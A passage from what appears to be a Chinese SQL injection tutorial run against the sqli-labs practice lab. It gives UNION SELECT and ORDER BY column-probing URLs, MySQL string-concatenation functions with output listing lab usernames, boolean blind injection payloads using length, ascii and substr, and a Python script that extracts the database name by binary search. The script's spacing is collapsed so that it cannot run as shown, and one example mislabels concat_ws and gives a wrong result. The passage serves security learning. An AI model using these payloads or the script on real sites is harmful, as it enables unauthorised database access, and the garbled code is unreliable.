http://192.168.154.135/sqli-labs-php7/Less-1/?id=1' union select 1--+http://192.168.154.135/sqli-labs-php7/Less-1/?id=1' union select 1,2--+http://192.168.154.135/sqli-labs-php7/Less-1/?id=1' union select 1,2,3--+
使用 order by 指数(order by数字以2的n次方指数增加) 和 二分法爆破,payload 如下
http://192.168.154.135/sqli-labs-php7/Less-1/?id=1' order by 1--+http://192.168.154.135/sqli-labs-php7/Less-1/?id=1' order by 2--+http://192.168.154.135/sqli-labs-php7/Less-1/?id=1' order by 4--+http://192.168.154.135/sqli-labs-php7/Less-1/?id=1' order by 8--+
联合注入常用函数
联合注入常使用如下字符串拼接函数
内置函数
描述
举例
concat(str1, str2, ...)
拼接字符串
concat("1", "2", "3") --> "123"
concat_ws(separator, str1, str2, ..)
拼接字符串,各个字符之间插入separator
concat("/", "1", "2", "3") --> "1/2/3"
group_concat(column_name)
将查询结果用,拼接成一个字符串
select group_concat(username) from users; --> "user1,user2,user3 .."
样例
mysql> select concat("123", 456);
+--------------------+
| concat("123", 456) |
+--------------------+
| 123456 |
+--------------------+
1 row in set (0.00 sec)
mysql> select concat("123", "456");
+----------------------+
| concat("123", "456") |
+----------------------+
| 123456 |
+----------------------+
1 row in set (0.00 sec)
mysql> select concat_ws("/","123", "456");
+-----------------------------+
| concat_ws("/","123", "456") |
+-----------------------------+
| 123/456 |
+-----------------------------+
1 row in set (0.00 sec)
mysql> select group_concat(username) from users;
+---------------------------------------------------------------------------------------------+
| group_concat(username) |
+---------------------------------------------------------------------------------------------+
| Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 |
+---------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
获取数据库名的长度,遍历或用二分法爆破http://192.168.154.135/sqli-labs-php7/Less-8/?id=1' and length(database())=n--+种的n,当返回 true 的时候得到数据库的长度
使用ascii、substr、database函数,利用二分法爆破数据库名称,如 http://192.168.154.135/sqli-labs-php7/Less-8/?id=1' and ascii(substr(database(), i, 1))=n--+ 种的第 i 个字符对应的 ascii 码为 n,那么对应的字符为 chr(n)
利用 python 脚本爆破数据库名如下:
import requestsurl ="http://192.168.154.135/sqli-labs-php7/Less-8/"defget_dblen(url): para ="?id=1' and length(database())=%d--+" url = url + parafor i inrange(20): rsp = requests.get(url % (i,))if"You are in"in rsp.content.decode("utf-8"):return idefget_dbname(url): dblen =get_dblen(url) para ="?id=1' and ascii(substr(database(), %d, 1))<%d--+" url = url + para dbname = []for i inrange(1, dblen +1): left =0 right =256whileTrue:if left == right or left == (right -1): dbname.append(chr(left))break rsp = requests.get(url % (i, (left + right) /2))if"You are in"notin rsp.content.decode("utf-8"): left =int((left + right) /2)else: right =int((left + right) /2)return"".join(dbname)if__name__=="__main__":print(get_dbname(url))